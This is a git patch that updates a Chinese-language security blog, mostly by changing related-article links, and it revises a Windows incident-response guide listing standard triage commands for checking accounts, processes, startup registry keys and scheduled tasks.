From 7992213d9ca580270ffea6f3a1ba9ab39e17a208 Mon Sep 17 00:00:00 2001 From: JiangJiYue Date: Wed, 10 Jul 2024 13:53:29 +0800 Subject: [PATCH] Site updated: 2024-07-10 13:53:26 --- 2019/10/21/628a2fb5/index.html | 2 +- 2019/11/15/2e455f59/index.html | 4 +- 2019/12/24/384da78c/index.html | 4 +- 2020/05/24/48cd9b71/index.html | 4 +- 2020/06/01/f5d15284/index.html | 4 +- 2020/06/02/5fa17f4e/index.html | 4 +- 2020/06/03/46ba4e0f/index.html | 4 +- 2020/06/04/161f7eae/index.html | 8 +- 2020/06/05/2d7bc590/index.html | 4 +- 2020/06/06/82a73708/index.html | 4 +- 2020/12/21/466824cf/index.html | 4 +- 2020/12/25/93e21280/index.html | 2 +- 2020/12/29/93e21280/index.html | 2 +- 2021/05/24/f21126ec/index.html | 4 +- 2021/05/25/5991462f/index.html | 4 +- 2021/05/29/48d580ab/index.html | 4 +- 2021/05/30/5a8f5c38/index.html | 4 +- 2021/05/31/e97492f3/index.html | 4 +- 2021/06/02/71a5afb3/index.html | 4 +- 2021/06/02/9349e687/index.html | 4 +- 2021/09/01/46f9142e/index.html | 4 +- 2021/09/03/468ad79b/index.html | 4 +- 2021/09/04/b7ac11f8/index.html | 2 +- 2021/09/07/fc81f96/index.html | 4 +- 2021/09/09/84bc0e75/index.html | 2 +- 2021/09/11/c592c859/index.html | 2 +- 2021/09/13/a68cee5c/index.html | 2 +- 2021/09/19/2dd5e334/index.html | 4 +- 2021/09/24/bee72ce8/index.html | 4 +- 2021/09/25/29286f5a/index.html | 4 +- 2021/09/26/1b012da8/index.html | 2 +- 2021/10/13/f65e33/index.html | 4 +- 2021/10/15/66207078/index.html | 4 +- 2021/10/21/77eb77a2/index.html | 4 +- 2021/11/01/518e1241/index.html | 4 +- 2022/03/10/8c8446e0/index.html | 4 +- 2022/06/16/9c8b50f0/index.html | 4 +- 2022/06/23/92579896/index.html | 4 +- 2022/06/25/d52cd33f/index.html | 4 +- 2022/07/05/16c1b24e/index.html | 4 +- 2022/08/31/4f4c30bf/index.html | 2 +- 2022/09/06/6e6b1513/index.html | 4 +- 2022/09/12/491035d1/index.html | 2 +- 2022/10/18/55971a3e/index.html | 4 +- 2022/10/20/16f1e4f4/index.html | 4 +- 2022/11/02/735afd67/index.html | 4 +- 2023/03/04/16f1e4f4/index.html | 4 +- 2023/03/06/16f1e4f4/index.html | 4 +- 2023/03/07/a2dd2e70/index.html | 4 +- 2023/03/08/cc894391/index.html | 4 +- 2023/03/09/5cba5df7/index.html | 4 +- 2023/03/10/73f4594f/index.html | 4 +- 2023/03/11/247b757/index.html | 4 +- 2023/04/01/6eb0a2c0/index.html | 4 +- 2023/04/03/30a0d618/index.html | 4 +- 2023/04/05/8b1917af/index.html | 4 +- 2023/04/06/30a0d618/index.html | 4 +- 2023/04/15/5458db23/index.html | 4 +- 2023/04/20/5458db23/index.html | 4 +- 2023/04/22/8b1ccd63/index.html | 4 +- 2023/04/28/76971e68/index.html | 4 +- 2023/05/03/fe16a42b/index.html | 4 +- 2023/07/13/d9d69399/index.html | 4 +- 2023/09/02/20d7e033/index.html | 4 +- 2023/09/03/39ccd172/index.html | 4 +- 2023/09/04/258025d3/index.html | 4 +- 2023/09/05/5a76691e/index.html | 4 +- 2023/09/06/d0324d08/index.html | 4 +- 2023/09/07/f2a0f176/index.html | 4 +- 2023/09/08/c3682c7d/index.html | 4 +- 2024/01/27/81fbba05/index.html | 4 +- 2024/01/28/afbfc1f7/index.html | 4 +- 2024/01/29/2e455f59/index.html | 2 +- 2024/01/30/f480ed3c/index.html | 4 +- 2024/01/31/375e6e18/index.html | 2 +- 2024/02/01/6b028c3f/index.html | 4 +- 2024/02/04/466824cf/index.html | 4 +- 2024/02/05/cccd7c5c/index.html | 4 +- 2024/02/08/c44eef61/index.html | 4 +- 2024/02/10/c44eef61/index.html | 4 +- 2024/02/12/7564e3ff/index.html | 4 +- 2024/02/14/dbeaca23/index.html | 4 +- 2024/02/16/449cb93/index.html | 4 +- 2024/02/18/693474ed/index.html | 4 +- 2024/02/20/449cb93/index.html | 4 +- 2024/02/22/449cb93/index.html | 4 +- 2024/02/24/e36a7018/index.html | 4 +- 2024/02/26/7e189a50/index.html | 4 +- 2024/02/28/aba73427/index.html | 4 +- 2024/03/01/70eef621/index.html | 4 +- 2024/07/03/ac635236/index.html | 4 +- 2024/07/04/b7b8d727/index.html | 76 ++++++++++++------- 2024/07/07/69563a36/index.html | 6 +- 404.html | 2 +- about/index.html | 2 +- atom.xml | 6 +- comments/index.html | 2 +- friends/index.html | 2 +- index.html | 6 +- notes/index.html | 2 +- page/10/index.html | 2 +- page/2/index.html | 2 +- page/3/index.html | 2 +- page/4/index.html | 2 +- page/5/index.html | 2 +- page/6/index.html | 2 +- page/7/index.html | 2 +- page/8/index.html | 2 +- page/9/index.html | 2 +- search.json | 2 +- tags/Windows/index.html | 4 +- .../index.html" | 4 +- tools/index.html | 2 +- topic/index.html | 4 +- ...47\262\276\351\200\232(\344\270\212).html" | 2 +- ...47\262\276\351\200\232(\344\270\213).html" | 2 +- ...\347\224\250\350\257\264\346\230\216.html" | 2 +- ...\344\273\266\350\257\246\350\247\243.html" | 2 +- ...\345\210\260\347\262\276\351\200\232.html" | 2 +- ...\345\210\260\347\262\276\351\200\232.html" | 2 +- ...\351\200\237\345\205\245\351\227\250.html" | 2 +- ...\345\214\226\351\235\242\346\235\277.html" | 2 +- ...\351\200\237\345\205\245\351\227\250.html" | 2 +- ...0\255\246\347\263\273\347\273\237ELK.html" | 2 +- ...\350\243\205\346\225\231\347\250\213.html" | 2 +- ...\345\210\260\347\262\276\351\200\232.html" | 2 +- ...\345\210\260\347\262\276\351\200\232.html" | 2 +- 127 files changed, 264 insertions(+), 244 deletions(-) diff --git a/2019/10/21/628a2fb5/index.html b/2019/10/21/628a2fb5/index.html index 80123a564..1f102b503 100644 --- a/2019/10/21/628a2fb5/index.html +++ b/2019/10/21/628a2fb5/index.html @@ -72,7 +72,7 @@
-
最近更新
+
最近更新
diff --git a/2019/11/15/2e455f59/index.html b/2019/11/15/2e455f59/index.html index a7ae73f33..8942e4981 100644 --- a/2019/11/15/2e455f59/index.html +++ b/2019/11/15/2e455f59/index.html @@ -79,7 +79,7 @@
@@ -357,7 +357,7 @@

Linux-MySQL从入门到精通(上)Linux-MySQL从入门到精通(下)Linux-MySQL开启慢查询日志Linux-Mysql主主架构Linux-MySQL从入门到精通(中)

+
@@ -172,7 +172,7 @@

注意您可能感兴趣的文章

-
+
@@ -420,7 +420,7 @@

Python-模糊查询批量修改文件名Python-爬取中关村手机排行榜并对其可视化Python-数据分析及可视化Python-从入门到精通

+
@@ -814,7 +814,7 @@

三. Windows Server从入门到精通二. Linux从入门到精通(上)五. 计算机网络基础四. Kali Linux安装Kali-安装W3af踩坑记录

+
@@ -1020,7 +1020,7 @@
二. Linux从入门到精通(下)Linux-Web服务器搭建的艺术Linux-Web服务器的概念五. 计算机网络基础Kali-安装W3af踩坑记录
+
@@ -637,7 +637,7 @@

测验您可能感兴趣的文章

-
+
@@ -519,7 +519,7 @@

您可能感兴趣的文章

-
+
@@ -246,7 +246,7 @@

二. Linux从入门到精通(上)五. 计算机网络基础二. Linux从入门到精通(下)Kali-安装W3af踩坑记录CorePress主题优化

+
@@ -970,7 +970,7 @@

二. Linux从入门到精通(上)四. Kali Linux安装二. Linux从入门到精通(下)Linux-Opcache参数配置优化加速网站访问Kali-安装W3af踩坑记录

+
@@ -301,7 +301,7 @@

您可能感兴趣的文章

-
+
diff --git a/2020/12/29/93e21280/index.html b/2020/12/29/93e21280/index.html index befcd5b53..11cee7d95 100644 --- a/2020/12/29/93e21280/index.html +++ b/2020/12/29/93e21280/index.html @@ -73,7 +73,7 @@
diff --git a/2021/05/24/f21126ec/index.html b/2021/05/24/f21126ec/index.html index eb66b40af..6b8159626 100644 --- a/2021/05/24/f21126ec/index.html +++ b/2021/05/24/f21126ec/index.html @@ -78,7 +78,7 @@
@@ -641,7 +641,7 @@

您可能感兴趣的文章

-
+
@@ -210,7 +210,7 @@

攻击您可能感兴趣的文章

-
+
@@ -249,7 +249,7 @@

一. 信息安全的基础三. 基本的认证和授权概念五. 风险分析四. 基本的加密概念Kali-安装W3af踩坑记录

+
@@ -206,7 +206,7 @@

一. 信息安全的基础二. 基本的安全控制五. 风险分析四. 基本的加密概念Kali-安装W3af踩坑记录

+
@@ -214,7 +214,7 @@

一. 信息安全的基础二. 基本的安全控制三. 基本的认证和授权概念五. 风险分析Kali-安装W3af踩坑记录

+
@@ -198,7 +198,7 @@

一. 信息安全的基础二. 基本的安全控制三. 基本的认证和授权概念五. 风险分析Kali-安装W3af踩坑记录

+
@@ -307,7 +307,7 @@

一. 信息安全的基础二. 基本的安全控制三. 基本的认证和授权概念四. 基本的加密概念Kali-安装W3af踩坑记录

+
@@ -192,7 +192,7 @@
Linux-Centos升级Python3.x版本踩过的坑Linux-MySQL从入门到精通(上)Linux-MySQL从入门到精通(下)Linux-MySQL开启慢查询日志Linux-Shell编程从0到1
+
@@ -155,7 +155,7 @@

您可能感兴趣的文章

-
+
diff --git a/2021/09/07/fc81f96/index.html b/2021/09/07/fc81f96/index.html index b4362042f..57042bb2e 100644 --- a/2021/09/07/fc81f96/index.html +++ b/2021/09/07/fc81f96/index.html @@ -77,7 +77,7 @@
@@ -177,7 +177,7 @@

Linux-Mysql主主架构

您可能感兴趣的文章
-
+
diff --git a/2021/09/11/c592c859/index.html b/2021/09/11/c592c859/index.html index fc7e76c34..23db6a06d 100644 --- a/2021/09/11/c592c859/index.html +++ b/2021/09/11/c592c859/index.html @@ -73,7 +73,7 @@
diff --git a/2021/09/13/a68cee5c/index.html b/2021/09/13/a68cee5c/index.html index 16ef98c81..68818dee4 100644 --- a/2021/09/13/a68cee5c/index.html +++ b/2021/09/13/a68cee5c/index.html @@ -67,7 +67,7 @@
diff --git a/2021/09/19/2dd5e334/index.html b/2021/09/19/2dd5e334/index.html index be057d498..b3bd78b50 100644 --- a/2021/09/19/2dd5e334/index.html +++ b/2021/09/19/2dd5e334/index.html @@ -82,7 +82,7 @@
@@ -191,7 +191,7 @@

您可能感兴趣的文章

-
+
@@ -163,7 +163,7 @@

Linux-MySQL从入门到精通(上)Linux-MySQL从入门到精通(下)Linux-Mysql主主架构Linux-MySQL从入门到精通(中)Linux-redis从入门到精通

+
@@ -196,7 +196,7 @@

Linux-MySQL从入门到精通(上)Linux-MySQL从入门到精通(下)Linux-MySQL开启慢查询日志Linux-Mysql主主架构Linux-Centos升级Python3.x版本踩过的坑

+
diff --git a/2021/10/13/f65e33/index.html b/2021/10/13/f65e33/index.html index f41bc7d82..8e26a4068 100644 --- a/2021/10/13/f65e33/index.html +++ b/2021/10/13/f65e33/index.html @@ -70,7 +70,7 @@
@@ -809,7 +809,7 @@

三. Windows Server从入门到精通一. 计算机基础知识二. Linux从入门到精通(上)五. 计算机网络基础Kali-安装W3af踩坑记录

+
@@ -448,7 +448,7 @@

您可能感兴趣的文章

-
+
@@ -487,7 +487,7 @@

三. Windows Server从入门到精通一. 计算机基础知识二. Linux从入门到精通(上)五. 计算机网络基础Kali-安装W3af踩坑记录

+
@@ -607,7 +607,7 @@

您可能感兴趣的文章

-
+
@@ -190,7 +190,7 @@

VulnHub-DC系列VulnHub-Kioptrix Level 1 古老的 Apache VulnVulnHub-Kioptrix Level 2 简单的命令注入 + 内核提权VulnHub-Kioptrix Level 4 受限 Shell 越狱 + Mysql UDF 提权Kali-安装W3af踩坑记录

+
@@ -149,7 +149,7 @@

Linux-Centos升级Python3.x版本踩过的坑您可能感兴趣的文章

-
+
@@ -161,7 +161,7 @@

PHP-JSON 字符串转义问题

您可能感兴趣的文章
-
+
@@ -169,7 +169,7 @@

您可能感兴趣的文章

-
+
@@ -190,7 +190,7 @@

Kali-安装W3af踩坑记录四. Kali Linux安装一. 信息安全的基础二. 基本的安全控制

+
diff --git a/2022/09/06/6e6b1513/index.html b/2022/09/06/6e6b1513/index.html index f6fb0c7fe..1a951146e 100644 --- a/2022/09/06/6e6b1513/index.html +++ b/2022/09/06/6e6b1513/index.html @@ -74,7 +74,7 @@
@@ -186,7 +186,7 @@

ELK收集nginx日志并展示来源IP地图应急响应靶机训练-Web1应急响应-前菜应急响应之Windows

+
diff --git a/2022/10/18/55971a3e/index.html b/2022/10/18/55971a3e/index.html index db1fde17d..7a931f6e5 100644 --- a/2022/10/18/55971a3e/index.html +++ b/2022/10/18/55971a3e/index.html @@ -126,7 +126,7 @@
@@ -559,7 +559,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -439,7 +439,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -739,7 +739,7 @@

您可能感兴趣的文章
-

+
@@ -219,7 +219,7 @@

27a关您可能感兴趣的文章

-
+
@@ -331,7 +331,7 @@

Security-WebShell介绍及使用Security-全方位探索网络安全Security-主动信息收集Security-反弹Shell大全及使用Web-Sqli_Lbas漏洞复现

+
@@ -298,7 +298,7 @@
VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现VulHub-Fastjson漏洞复现Kali-安装W3af踩坑记录
+
@@ -151,7 +151,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现VulHub-Fastjson漏洞复现Kali-安装W3af踩坑记录

+
@@ -346,7 +346,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Drupal漏洞复现VulHub-Fastjson漏洞复现Kali-安装W3af踩坑记录

+
@@ -240,7 +240,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Fastjson漏洞复现Kali-安装W3af踩坑记录

+
@@ -257,7 +257,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -257,7 +257,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -201,7 +201,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -203,7 +203,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -217,7 +217,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -225,7 +225,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -193,7 +193,7 @@

您可能感兴趣的文章

-
+
@@ -274,7 +274,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -246,7 +246,7 @@

Tomca
您可能感兴趣的文章
-

+
@@ -363,7 +363,7 @@

VulHub-Atlassian_Confluence漏洞复现VulHub-Atlassian_Jira漏洞复现VulHub-Django漏洞复现VulHub-Drupal漏洞复现Kali-安装W3af踩坑记录

+
@@ -765,7 +765,7 @@
ELK收集nginx日志并展示来源IP地图基于Awstats的Apache日志分析应急响应靶机训练-Web1应急响应-前菜
+
@@ -645,7 +645,7 @@

PHP-JSON 字符串转义问题PHP-表单PHP-文件上传PHP-从入门到精通(下)Kali-安装W3af踩坑记录

+
@@ -594,7 +594,7 @@

您可能感兴趣的文章
-

+
@@ -255,7 +255,7 @@

您可能感兴趣的文章

-
+
@@ -389,7 +389,7 @@

PHP-JSON 字符串转义问题PHP-从入门到精通(上)PHP-文件上传PHP-从入门到精通(下)Kali-安装W3af踩坑记录

+
@@ -191,7 +191,7 @@

PHP-JSON 字符串转义问题PHP-从入门到精通(上)PHP-表单PHP-从入门到精通(下)Kali-安装W3af踩坑记录

+
@@ -321,7 +321,7 @@

您可能感兴趣的文章

-
+
@@ -216,7 +216,7 @@

您可能感兴趣的文章

-
+
@@ -507,7 +507,7 @@

Linux-Web服务器搭建的艺术Linux-MySQL从入门到精通(上)Linux-MySQL从入门到精通(下)Linux-MySQL开启慢查询日志

+
@@ -517,7 +517,7 @@

Linux-Web服务器的概念Linux-MySQL从入门到精通(上)Linux-MySQL从入门到精通(下)Linux-MySQL开启慢查询日志

+
diff --git a/2024/01/30/f480ed3c/index.html b/2024/01/30/f480ed3c/index.html index f97e2b8a4..981ed62f4 100644 --- a/2024/01/30/f480ed3c/index.html +++ b/2024/01/30/f480ed3c/index.html @@ -85,7 +85,7 @@
@@ -438,7 +438,7 @@

您可能感兴趣的文章

-
+
diff --git a/2024/02/01/6b028c3f/index.html b/2024/02/01/6b028c3f/index.html index 42a40fcbf..9ef51774a 100644 --- a/2024/02/01/6b028c3f/index.html +++ b/2024/02/01/6b028c3f/index.html @@ -68,7 +68,7 @@
@@ -1078,7 +1078,7 @@

time

您可能感兴趣的文章

-
+
@@ -225,7 +225,7 @@

Security-Nessus&&AWVS安装Security-MySQL提权Security-全方位探索网络安全Security-主动信息收集

+
@@ -226,7 +226,7 @@

您可能感兴趣的文章
-

+
@@ -392,7 +392,7 @@

Security-全方位探索网络安全Security-主动信息收集Security-被动信息收集Security-网安专业术语篇Kali-安装W3af踩坑记录

+
@@ -586,7 +586,7 @@

Security-全方位探索网络安全Security-主动信息收集Security-被动信息收集Security-会话授权Kali-安装W3af踩坑记录

+
@@ -512,7 +512,7 @@

您可能感兴趣的文章

-
+
@@ -703,7 +703,7 @@

您可能感兴趣的文章

-
+
@@ -572,7 +572,7 @@

Security-全方位探索网络安全Security-被动信息收集Security-网安专业术语篇Security-会话授权Kali-安装W3af踩坑记录

+
@@ -987,7 +987,7 @@

Linux-定时备份网站数据文件到阿里云盘Linux-Centos升级Python3.x版本踩过的坑Linux-FireWalldLinux-MySQL从入门到精通(上)

+
@@ -624,7 +624,7 @@

Security-反弹Shell大全及使用Security-全方位探索网络安全Security-主动信息收集Security-被动信息收集Kali-安装W3af踩坑记录

+
@@ -345,7 +345,7 @@

Security-WebShell介绍及使用Security-全方位探索网络安全Security-主动信息收集Security-被动信息收集Kali-安装W3af踩坑记录

+
@@ -275,7 +275,7 @@

VulnHub-DC系列VulnHub-Kioptrix Level 2 简单的命令注入 + 内核提权VulnHub-Kioptrix Level 4 受限 Shell 越狱 + Mysql UDF 提权VulnHub-脏牛提权复现Kali-安装W3af踩坑记录

+
@@ -307,7 +307,7 @@

VulnHub-DC系列VulnHub-Kioptrix Level 1 古老的 Apache VulnVulnHub-Kioptrix Level 4 受限 Shell 越狱 + Mysql UDF 提权VulnHub-脏牛提权复现Kali-安装W3af踩坑记录

+
@@ -311,7 +311,7 @@

VulnHub-DC系列VulnHub-Kioptrix Level 1 古老的 Apache VulnVulnHub-Kioptrix Level 2 简单的命令注入 + 内核提权VulnHub-Kioptrix Level 4 受限 Shell 越狱 + Mysql UDF 提权Kali-安装W3af踩坑记录

+
@@ -328,7 +328,7 @@

VulnHub-DC系列VulnHub-Kioptrix Level 1 古老的 Apache VulnVulnHub-Kioptrix Level 2 简单的命令注入 + 内核提权VulnHub-脏牛提权复现Kali-安装W3af踩坑记录

+
@@ -911,7 +911,7 @@

应急响应靶机训练-Web1应急响应之WindowsELK收集nginx日志并展示来源IP地图基于Awstats的Apache日志分析Kali-安装W3af踩坑记录

+
@@ -113,7 +115,7 @@
-
发布于:更新于:
+
发布于:更新于:
@@ -125,7 +127,7 @@

应急响应之Windows

-

总字符数: 28.89K

+

总字符数: 28.89K

代码: 6.84K, 文本: 5.58K

@@ -147,9 +149,11 @@

应急响应之Windows

  • 网络攻击:DDOS攻击、DNS劫持、ARP欺骗

  • -

    工具and日志

    +工具and日志 +

    0x01 入侵排查思路

    系统基本信息

      -
    1. wsinfo32查看Windows信息
        +
      1. msinfo32查看Windows信息

        +
        1. 硬件信息
        2. 运行任务
        3. 服务
        4. @@ -157,21 +161,27 @@

          + +
        5. systeminfo

          +
            +
          1. 主要用途简单了解信息

            +

            image-20240710104935458

          2. -
          3. cmd命令systeminfo
              -
            1. 主要用途简单了解信息
          4. +
          5. 查找可疑目录及文件

            +
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            # 检查方法:
            a. 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录.
            # Window 2003:
            C:\Documents and Settings
            # Window 2008 R2:
            C:\Users\

            b. 单击【开始】>【运行】,输入%UserProfile%\Recent
            分析最近打开分析可疑文件.
            c. 在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件.

          检查系统账号安全

          1. 查看服务器是否有弱口令,远程管理端口是否对公网开放.

            -
            1
            2
            # 检查方法:
            据实际情况咨询相关服务器管理员.
            +
            1
            2
            3
            # 检查方法:
            据实际情况咨询相关服务器管理员.
            netstat -ano
          2. 查看服务器是否存在可疑账号、新增账号.

            -
            1
            2
            3
            # 检查方法:
            打开cmd窗口lusrmgr.msc命令,查看是否有新增/可疑的账号或cmd中net localgroup administrators
            如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉.
            +
            1
            2
            3
            4
            5
            # 检查方法:
            lusrmgr.msc 查看是否有新增/可疑的账号
            net localgroup administrators
            wmic UserAccount get
            在管理员群组的(Administrators)里如有新增账户,请立即禁用或删除掉.
          3. 查看服务器是否存在隐藏账号、克隆账号.

            -
            1
            2
            3
            # 检查方法:
            a. 打开注册表,查看管理员对应键值.
            b. 使用D盾_web查杀工具,集成了对克隆账号检测的功能.
          4. +
            1
            2
            3
            # 检查方法:
            a. 打开注册表,查看管理员对应键值.
            b. 使用D盾、HM查杀工具,集成了对克隆账号检测的功能.
          @@ -193,7 +203,7 @@

  • 进程

    -
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    # 检查方法:
    a. 开始--运行--输入
    msinfo32
    依次点击"软件环境→正在运行任务"就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等.

    b. 打开D盾web查杀工具,进程查看,关注没有签名信息的进程.
    c. 通过微软官方提供的ProcessExplorer等工具进行排查.

    d. 查看可疑的进程及其子进程.可以通过观察以下内容:
    1. 没有签名验证信息的进程
    2. 没有描述信息的进程
    3. 进程的属主
    4. 进程的路径是否合法
    5. CPU或内存资源占用长时间过高的进程
    +
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    # 检查方法:
    a. 开始--运行--输入
    msinfo32
    依次点击"软件环境→正在运行任务"就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等.

    b. 打开D盾查杀工具,进程查看,关注没有签名信息的进程.
    c. 通过微软官方提供的ProcessExplorer等工具进行排查.

    d. 查看可疑的进程及其子进程.可以通过观察以下内容:
    1. 没有签名验证信息的进程
    2. 没有描述信息的进程
    3. 进程的属主
    4. 进程的路径是否合法
    5. CPU或内存资源占用长时间过高的进程
  • 小技巧:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    a. 查看端口对应的PID: netstat -ano | findstr "port"
    b. 查看进程对应的PID: 任务管理器--查看--选择列--PID
    或者 tasklist | findstr "PID"
    c. 查看进程对应的程序位置:
    1. 任务管理器--选择对应进程--右键打开文件位置
    2. 运行输入wmic,cmd界面输入process
    d. tasklist /svc # 进程--PID--服务
    e. 查看Windows服务所对应的端口:%system%/system32/drivers/etc/services
    # 一般 %system% 就是C:\Windows
  • @@ -226,11 +236,11 @@

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    # 检查方法:
    a. 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,
    确认是否有非业务程序在该目录下.
    b. 单击开始菜单>【运行】,输入msconfig,查看是否存在命名异常的启动项目,
    是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件.
    c. 单击【开始】>【运行】,输入regedit,打开注册表,
    查看开机启动项是否正常,特别注意如下三个注册表项:
    HKEY\_CURRENT\_USER\software\micorsoft\windows\currentversion\run
    HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
    检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马.

    # 注册表目录含义
    HKEY_CLASSES_ROOT(HKCR) 此处存储的信息可确保在Windows资源管理器中执行时打开正确的程序.它还包含有关拖放规则、快捷方法和用户界面信息的更多详细信息
    HKEY_CLASSES_USER(HKCU) 包含当前登录系统的用户的配置信息,有用户的文件夹、屏幕颜色和控制面板设置
    HKEY_LOCAL_MACHINE(HKLM) 包含运行操作系统的计算机硬件特定信息,有系统上安装的驱动器列表及已安装硬件和应用程序的通用配置
    HKEY_USERS(HKU) 包含系统上所有用户配置文件的配置信息,有应用程序配置和可视配置
    HKEY_CLASSES_CONFIG(HCU) 存储有关系统当前配置的信息

    # 注册表操作命令
    1. reg add添加注册表
    2. reg delete删除注册表
    3. reg query返回注册表的子项下的项和下一层项的列表

    d. 利用安全软件查看启动项、开机时间管理等.
    e. 组策略,运行gpedit.msc.
    f. msconfig 图形化查看启动项
    +
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    # 检查方法:
    a. 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,
    确认是否有非业务程序在该目录下.
    b. 单击开始菜单>【运行】,输入msconfig,查看是否存在命名异常的启动项目,
    是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件.
    c. 单击【开始】>【运行】,输入regedit,打开注册表,
    查看开机启动项是否正常,特别注意如下三个注册表项:
    HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
    检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马.

    # 注册表目录含义
    HKEY_CLASSES_ROOT(HKCR) 此处存储的信息可确保在Windows资源管理器中执行时打开正确的程序.它还包含有关拖放规则、快捷方法和用户界面信息的更多详细信息
    HKEY_CLASSES_USER(HKCU) 包含当前登录系统的用户的配置信息,有用户的文件夹、屏幕颜色和控制面板设置
    HKEY_LOCAL_MACHINE(HKLM) 包含运行操作系统的计算机硬件特定信息,有系统上安装的驱动器列表及已安装硬件和应用程序的通用配置
    HKEY_USERS(HKU) 包含系统上所有用户配置文件的配置信息,有应用程序配置和可视配置
    HKEY_CLASSES_CONFIG(HCU) 存储有关系统当前配置的信息

    # 注册表操作命令
    1. reg add添加注册表
    2. reg delete删除注册表
    3. reg query返回注册表的子项下的项和下一层项的列表

    d. 利用安全软件查看启动项、开机时间管理等.
    e. 组策略,运行gpedit.msc.
    f. msconfig 图形化查看启动项
  • 检查计划任务

    -
    1
    2
    3
    4
    5
    6
    7
    # 检查方法:
    a. 单击【开始】>【设置】>【控制面板】>【任务计划】
    查看计划任务属性,便可以发现木马文件的路径.
    b. 单击【开始】>【运行】:输入cmd,然后输入at
    检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接.
    c. powershell输入Get-ScheduledTask
    d. schtasks
    +
    1
    2
    3
    4
    5
    # 检查方法:
    a. 单击【开始】>【设置】>【控制面板】>【任务计划】
    查看计划任务属性,便可以发现木马文件的路径.
    b. schtasks
    d. powershell输入Get-ScheduledTask
  • 服务自启动

    @@ -240,13 +250,6 @@

    1
    2
    3
    # 检查方法:
    单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型
    检查是否有异常服务.

  • -

    检查系统相关信息

      -
    1. 查看系统版本以及补丁信息

      -
      1
      2
      # 检查方法:
      单击【开始】>【运行】,输入systeminfo 查看系统信息
      -
    2. -
    3. 查找可疑目录及文件

      -
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      # 检查方法:
      a. 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录.
      # Window 2003:
      C:\Documents and Settings
      # Window 2008 R2:
      C:\Users\

      b. 单击【开始】>【运行】,输入%UserProfile%\Recent
      分析最近打开分析可疑文件.
      c. 在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件.
    4. -

    检查shift粘贴键后门

    什么是shift粘贴键后门?

    + + diff --git a/about/index.html b/about/index.html index d5f79c63b..52471cdfc 100644 --- a/about/index.html +++ b/about/index.html @@ -67,7 +67,7 @@
    diff --git a/atom.xml b/atom.xml index 278375d73..fd5e4c846 100644 --- a/atom.xml +++ b/atom.xml @@ -23,7 +23,7 @@ 2024-07-07T10:34:49.000Z 2024-07-04T23:06:15.419Z -

    总字符数: 23.16K

    代码: 7.40K, 文本: 3.64K

    预计阅读时间: 48 分钟

    背景

